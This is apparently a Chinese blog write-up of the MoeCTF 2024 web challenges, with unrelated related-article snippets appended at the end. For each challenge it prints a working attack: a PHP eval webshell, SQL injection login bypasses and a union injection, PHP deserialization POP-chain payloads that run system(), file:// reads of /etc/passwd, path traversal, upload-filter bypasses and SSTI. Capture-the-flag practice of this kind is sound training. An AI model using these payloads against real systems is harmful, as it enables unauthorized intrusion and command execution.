2024-moectf Web WP

embedded/2024/10/21 8:09:53/

Web渗透测试与审计入门指北

得到一份网站源码,vscode打开,发现是AES解密,html给出了iv值和详细的加密方式,php给出了密文和key

按照源码的要求分别填入需要的东西,解密即可

flag值:moectf{H3r3'5_@_flYinG_kIss_f0r_yoU!}

弗拉格之地的入口

根据题目描述猜测考察的是爬虫协议

访问 /robots.txt,发现有一个php页面

直接访问 /webtutorEntry.php,得到flag

flag值: moectf{coNGraTULATl0n_foR_KnOwlnG-r06ot5-TxT18f10}

ez_http

进入页面,要求post方法传入一个值,先随便传一个

然后按照题目要求,分别post传参,get传参

之后就需要用到burp抓包了,抓包再按照要求分别修改Referer(来源),Cookie,UA头(所使用的浏览器),X-Forwarded-For(伪造本地代理),得到flag

flag值:moectf{Y0U_@rE_re@Ily-r34L1Y-V3Ry_CLEveR!!!3b86c}

弗拉格之地的挑战

web套娃,flag一共有七段,一步一步来吧

第一段,F12查看源码,得到 flag1: bW9lY3Rm

第二段,抓包发送到重放器模块重放,得到 flag2: e0FmdEV

第三段,还是和上题一样考察的http,按照要求传入参数,得到 flag3: yX3RoMXN

第四段,题目要求从 http://localhost:8080/flag3cad.php?a=1 点击过来,意思就是referer是这里,burp抓包修改Referer字段

然后发现需要点击id为9的按钮才会获得flag,但是没有id为9的按钮,这时候就需要我们通过修改前端js伪造了

通过控制台修改其中一个按钮的id属性为9,点击修改的按钮,在控制台处得到 flag4: fdFVUMHJ

第五段,考察的前端验证,在前端把checkValue()函数删除,再提交 I want flag,得到 flag5: fSV90aDF

第六段,php函数 preg_match() /i模式不区分大小写,可以使用大小写绕过,至于post传入的参数只要不为空就行,得到 flag6: rZV9VX2t

第七段,界面给了一句话木马,蚁剑连接还是直接post传参都行,直接传参进行命令执行,查看根目录,发现flag7,直接cat,得到 flag7:rbm93X1dlQn0=

至此,所有flag都已经找全了,将他们拼接并base64解码,得到完整flag

flag值:moectf{AftEr_th1s_tUT0r_I_th1ke_U_kknow_WeB}

ImageCloud前置

题目说环境不出网,并且flag在/etc/passwd里,很容易想到file伪协议读本地文件,在url里写入如下代码,即可得到flag

file:///etc/passwd

flag值:moectf{1-4m_very-sOrRY-a6oUT-This39ff8e1f}

ProveYourLove

审计js代码,限制了提交次数,测试一个浏览器只能提交一次,到达300次之后得到flag

如下是限制提交次数的代码

if (localStorage.getItem('confessionSubmitted')) {alert('您已经提交过表白,不能重复提交。');return;
}

我们可以写个函数控制台提交,循环调用清除提交状态,然后连点器不断发起提交请求

function repeatTask() {localStorage.removeItem("confessionSubmitted");
}setInterval(repeatTask, 500);

300次后得到flag

flag值:moectf{C0ngR@Tu14t1Ons_0N-B3CoMlNg_A-1ICKINg-doG1b3}

垫刀之路01: MoeCTF?启动!

已经getshell了,可以执行命令了,直接cat /flag

提示flagh在环境变量里,env读取环境变量,得到flag

flag值:moectf{weIcOMe_t0-MOEcTf_4Nd_RO4DI-St4RTup-BY_SXRHHhec}

垫刀之路02: 普通的文件上传

先上传一个一句话木马试试水,内容如下

<?php @eval($_POST['a']); ?>

发现没任何过滤,直接就上传成功了,文件目录也有回显,使用蚁剑连接

根目录没有flag,看看环境变量,得到flag

flag值:moectf{uPlOaD-YouR-P4yloAD_4nd_D0_wH@t-Y0ur_w4nTa85}

垫刀之路03: 这是一个图床

同样先上传一个php一句话木马试试水,发现提示只能上传图片

那就先上传一个图片马,修改php木马后缀为jpg就行,然后burp抓包再改后缀为php,实现绕过

然后蚁剑连接,还是env读环境变量,得到flag

flag值:moectf{byPASS_th3-M1M3_TyP3_@nD-3XT3NSlOn_y0U-c4N-d0_lT4}

垫刀之路04: 一个文件浏览器

打开发现是一个类似文件目录的样式,结合题目名称联想到目录穿越

没有过滤,可以直接读,../可以回到上级目录,多写几次可以读到根目录

然后直接读flag,但是发现啥都没,在/tmp发现flag,成功读到flag

flag值: moectf{cRO55-th3_Dlr3CTorY-AnD_Y0U-MAy-f1Nd_3tc_pAsSWd2c}

垫刀之路05: 登陆网站

使用万能密码登入,常见万能密码:

1' or 1=1#
' or 1='1

flag值:moectf{hAvE_tHe-u53fUL_paSSwoRD-4ND_g0-3verYWhERe-onLy-sqL_can_do0}

垫刀之路06: pop base mini moe

源码如下:

<?phpclass A {// 注意 private 属性的序列化哦private $evil;// 如何赋值呢private $a;function __destruct() {$s = $this->a;$s($this->evil);}
}class B {private $b;function __invoke($c) {$s = $this->b;$s($c);}
}if(isset($_GET['data'])){$a = unserialize($_GET['data']);}else {highlight_file(__FILE__);}

开始审计链子,很短的链子,反序列化后首先调用__destruct()魔术方法,__invoke()方法是对象被当成函数调用时触发,将类B对象赋值给a变量,s变量被调用触发__invoke()魔术方法,进而构造执行命令

链子为:__destruct()->__invoke(),payload如下:

$payload = new A();
$payload->evil = "cat /flag";
$payload->a = new B();
$payload->a->b = "system";echo serialize($payload);

将序列化后的字符串get传参到data,得到flag

flag值:moectf{pL3a5e_klck-cFb6_6EcaU5E_H3_r@1Se-PoPmo3-1n-W3Ek1_haha0}

垫刀之路07: 泄漏的密码

flask应用如果开启了调试模式,使用pin码可以进入console控制台

访问 /console 路由,输入pin码进入调试模式

进入之后使用python执行系统命令和访问系统文件进行命令执行,os返回值是0,所以我们可以使用subprocess来执行,测试发现flag在当前目录,直接cat flag即可,得到flag

flag值:moectf{doNT_u5iNg_FI4sk_by-D3bUG-M0D_@nd-LEAk_yOur_pIN10}

静态网页

提示说不用扫描,那我们就先随便点点看看,发现换衣服是向后端发起请求的

我们抓包查看,注意这里换衣服产生两个包,第一个包没用,第二个包重发可以看到有个php网页

访问 final1l1l_challenge.php,弱类型比较绕过+数组传参

参数a不能为数字但是需要弱等于0,同时也要满足 md5($a) == $b[$a]

网上可以查到一些特殊的数据,他们的md5值是0e开头的,所以他们弱类型比较值都为0,可以实现绕过

至于数组类型可以使用 数组【下标】的形式传参

分别传入以下数据,即可得到flag

?a=s878926199ab[s878926199a]=0e545993274517709034328855841020

flag值:moectf{1S-my_Wlfe-PlO_ch@n-cUTE-0r_Y0Ur-w1fe-is-php?18f}

电院_Backend

给了源码,源码审计

$email = $_POST['email'];
if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));unset($_SESSION['captcha_code']);exit;
}$pwd = $_POST['pwd'];
$pwd = md5($pwd);
$conn = mysqli_connect("localhost","root","123456","xdsec",3306);$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);

发现email参数和pwd参数都是直接从后端数据库中查询的,确定应该是sql注入漏洞

由于email和pwd我们都不知道,sql查询语句又是用AND拼接的,所以判断注入点是在email,email参数需要匹配正则并且过滤了or,使用union联合注入即可绕过

123@qq.com' union select 1,2,database()#

审计完源码,我们打开题目,没见有登陆框,扫一下目录发现有robots.txt文件,发现admin页面,访问

果然是一个登录框,按照上述方法注入,得到flag

flag值:moectf{I-Dld_N0t-exp3ct-yOu_tO-be-5O-STR0ngb4999}

pop moe

这题的链子相较来说比较长,我们慢慢来分析

  1. 首先将所有private属性和protect属性替换为public函数
  2. 反序列化触发__destruct()魔术方法调用check()函数,payl0ad的值不能是0
  3. class001对象赋值给what属性,对象作为函数调用触发__invoke()魔术方法
  4. class002赋值给class001类的a属性,对不可访问属性进行赋值时触发__set()魔术方法,同时将payl0ad属性赋值为dangerous字符串,此时触发__set()魔术方法会调用dangerous方法
  5. class003对象赋值给sec属性,对象被当成字符串调用时触发__tostring()魔术方法,将mystr属性赋值为命令执行的字符串
  6. $this->sec此时是class003对象,在函数参数whaattt中传入后调用evvval()函数,进而执行eval()命令,执行mystr属性赋值的命令执行字符串,实现任意命令执行
class class000 {private $payl0ad = 1;public $what;public function __destruct(){$this->payl0ad = 1;$this->check();}public function check(){if($this->payl0ad === 0){die('FAILED TO ATTACK');}$a = $this->what;$a();}
}class class001 {public $payl0ad = "dangerous";public $a;public function __invoke(){$this->a->payload = $this->payl0ad;}
}class class002 {public $sec;public function __set($a, $b){$this->$b($this->sec);}public function dangerous($whaattt){$whaattt->evvval($this->sec);}}class class003 {public $mystr;public function evvval($str){eval($str);}public function __tostring(){return $this->mystr;}
}$exp= new class000();
$exp->what = new class001();
$exp->what->a = new class002();
$exp->what->a->sec = new class003();
$exp->what->a->sec->mystr = "system('env');";echo urlencode(serialize($exp));

flag值: moectf{it_5EEM5_Th4t-YOU_KNOw-wh@T-15_p0p_IN-PHPpppPpP!!!35}

勇闯铜人阵

这道题考察的就是分析问题编写脚本的能力,我们来简单分析一下

  1. post提交用户名和弟子明白,发起一个session会话请求,获取返回页面内容
  2. 匹配特定位置出现的数字,写一个字典与位置对应,按照题目要求拼接数据
  3. 将拼接的数据和用户名再次post提交到上一个请求返回的页面,循环提交五次,返回最终响应数据,得到flag

解题脚本如下:

import requests
import reurl = "http://127.0.0.1:51446/"direction_dict = {1: "北方", 2: "东北方", 3: "东方", 4: "东南方",5: "南方", 6: "西南方", 7: "西方", 8: "西北方"
}initial_post_data = {'player': '123','direct': '弟子明白'
}def get_status_numbers_and_resubmit(url, initial_post_data):session = requests.Session()# 第一次请求:通过POST方式提交数据response = session.post(url, data=initial_post_data)response.raise_for_status()  # 检查请求是否成功# 获取页面内容page_content = response.text# 使用正则表达式匹配<h1 id="status">标签中的所有数字pattern = r'<h1 id="status">\s*([\d\s,]+)\s*</h1>'match = re.search(pattern, page_content)if match:status_numbers_str = match.group(1).strip()  # 去除空白字符status_numbers = [int(num.strip()) for num in status_numbers_str.split(',')]  # 将数字字符串转换为整数列表# 根据状态数字数量决定如何拼接方向if len(status_numbers) == 1:direction = direction_dict.get(status_numbers[0], "未知方位")elif len(status_numbers) == 2:directions = [f"{direction_dict.get(num, '未知方位')}一个" for num in status_numbers]direction = ",".join(directions)else:direction = "未知方位"print(direction)# 循环提交新的方向for i in range(5):second_post_data = {'player': '123','direct': direction}# 第二次请求second_response = session.post(url, data=second_post_data)second_response.raise_for_status()print(second_response.text)page_content = second_response.textpattern = r'<h1 id="status">\s*([\d\s,]+)\s*</h1>'match = re.search(pattern, page_content)if match:status_numbers_str = match.group(1).strip()  # 去除空白字符status_numbers = [int(num.strip()) for num in status_numbers_str.split(',')]  # 将数字字符串转换为整数列表# 根据状态数字数量决定如何拼接方向if len(status_numbers) == 1:direction = direction_dict.get(status_numbers[0], "未知方位")elif len(status_numbers) == 2:directions = [f"{direction_dict.get(num, '未知方位')}一个" for num in status_numbers]direction = ",".join(directions)else:direction = "未知方位"print(direction)else:print("未找到匹配的数字")get_status_numbers_and_resubmit(url, initial_post_data)

flag值:moectf{weIl1I_YOU-PAss_tH3-Ch4L13Nge-FrrrRrom-tonrEn16}

who's blog?

进入界面,要求提交id,使用get方式提交试试,提交id=1

这种一看就是经典的ssti了,再进一步测试下

ssti无疑,而且似乎过滤的很少,直接使用fenjing一把梭,env查看环境变量,得到flag

flag值:moectf{do-Y0u-knoW-5STl_ANd-PIE453-V15It-SXrhHH5-BLoG6}

ImageCloud

先上传一个图片看看回显

上传成功,访问,发现上传到了内网服务器上了,典型的ssrf漏洞

通过源码可知,上传服务的端口是随机分配的,burp爆破端口

得到有回显的端口,通过源码可知flag.jpg是在image目录里的,再通过相对路径找到flag

flag值:moectf{c3tT36rAt3-YOU-4Tt4Ck_t0-MY_tm@G3-CTOUdHhhhHh31a)

Re: 从零开始的 XDU 教书生活

题目给了完整源码和环境,可以直接本地部署尝试

思路:

  1. 获取未签到的名单,提取出所有用户名,学生用户的账户名和密码相同,通过用户名和密码模拟登陆获取用户cookie
  2. 然后获取签到所需的二维码信息,使用获取的 Cookie 和二维码信息进行自动签到
  3. 手动登陆教师账号开始和结束,得到flag

解题脚本如下:

import requestsurl = "http://127.0.0.1:8888/"def GetUnsignNamelist(data):names = []for i in data['data']['changeUnSignList']:names.append(i['name'])return namesdef get_cookie(uname, password):url = "http://127.0.0.1:8888/fanyalogin"data = {"uname": uname,"password": password,}response = requests.post(url, data=data)if response.status_code == 200:token = response.cookies.get("token")if token:return tokendef get_qr_code():response = requests.get(url+"v2/apis/sign/refreshQRCode")if response.status_code == 200:json_data = response.json()enc = json_data['data']['enc']sign_code = json_data['data']['signCode']return enc, sign_codedef auto_sign(token, enc, sign_code):params = {"id": "4000000000000",  # 假设这是活动的ID"c": sign_code,"enc": enc,"DB_STRATEGY": "PRIMARY_KEY","STRATEGY_PARA": "id"}cookies = {"token": token}response = requests.get(url+"widget/sign/e", params=params, cookies=cookies)if response.status_code == 200:print(response.text)response = requests.get(url + "widget/sign/pcTeaSignController/showSignInfo1")
data = response.json()
stunames = GetUnsignNamelist(data)
for name in stunames:cookie = get_cookie(name, name)enc, sign_code = get_qr_code()auto_sign(cookie, enc, sign_code)


http://www.ppmy.cn/embedded/129214.html

相关文章

Win11右键默认显示更多选项

Win11默认显示 想要效果 解决方案1 先按住Shift键&#xff0c;再按右键试试。 解决方案2 1.启动命令行&#xff0c;输入命令 reg.exe add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve2.显示操作成功完成&#…

DIY我的世界磁力方块

引子 小朋友喜欢我的世界&#xff0c;就像当年我那代对俄罗斯方块的执着&#xff0c;考虑电子游戏伤眼睛&#xff0c;所以最近开始给小朋友买磁力方块。 一个将近1元多的价格&#xff0c;催生我DIY的念头。 正文 Freecad图&#xff0c;A,B,C,D处 放磁铁 5.14g 材料费 最后的成…

社招高频面试题

1.单例模式 面试突击50&#xff1a;单例模式有几种写法&#xff1f; 2.Mybatis缓存机制 MyBatis的一、二级缓存查询关系 一级缓存是SqlSession级别&#xff0c;不能跨SqlSession共享&#xff0c;默认开启。 二级缓存是基于mapper namespace级别的&#xff0c;可以跨SqlSessi…

【软件测试】JUnit

Junit 是一个用于 Java 编程语言的单元测试框架&#xff0c;Selenium是自动化测试框架&#xff0c;专门用于Web测试 本篇博客介绍 Junit5 文章目录 Junit 使用语法注解参数执行顺序断言测试套件 Junit 使用 本篇博客使用 Idea集成开发环境 首先&#xff0c;创建新项目&#…

Linux学习第二天

3.vmware的功能&#xff1a; 快照 创建快照&#xff1a; 拍摄此虚拟机的快照&#xff1a;记录保存虚拟机的当前状态&#xff0c;如果系统出现故障&#xff0c;可以通过快照还原&#xff08;错删系统时可以找到快照的系统状态&#xff0c;然后恢复系统&#xff09; 恢复快照…

WSL2配置代理解决git网络不通畅的问题

简述 书接上文&#xff0c;在WSL2下使用CrossSim&#xff0c;git的时候网络很差&#xff0c;通过代理解决这个问题。 旧版的解决方案一般是通过cat /etc/resolv.conf获取IP然后配置主机的端口&#xff0c;这样有时候并不能访问&#xff0c;并且一般会出现该问题&#xff1a;ws…

【人工智能-初级】第3章 k-最近邻算法(KNN):分类和Python实现

文章目录 一、KNN算法简介二、KNN算法的工作原理2.1 欧氏距离 三、K值的选择四、KNN算法的优缺点4.1 优点4.2 缺点 五、Python实现KNN分类5.1 导入必要的库5.2 加载数据集并进行预处理5.3 创建KNN分类器并进行训练5.4 模型预测与评估5.5 可视化K值对模型性能的影响 六、总结6.1…

《京东金融APP的鸿蒙之旅系列专题》鸿蒙工程化:Hvigor构建技术

作者&#xff1a;京东科技 杨拓 一、构建工具概述 Hvigor构建工具是一款基于TypeScript实现的构建任务编排工具&#xff0c;专为提升构建和测试应用的效率而设计。它主要提供以下关键功能&#xff1a; 1.任务管理机制&#xff1a;包括任务注册和编排&#xff0c;帮助开发者高效…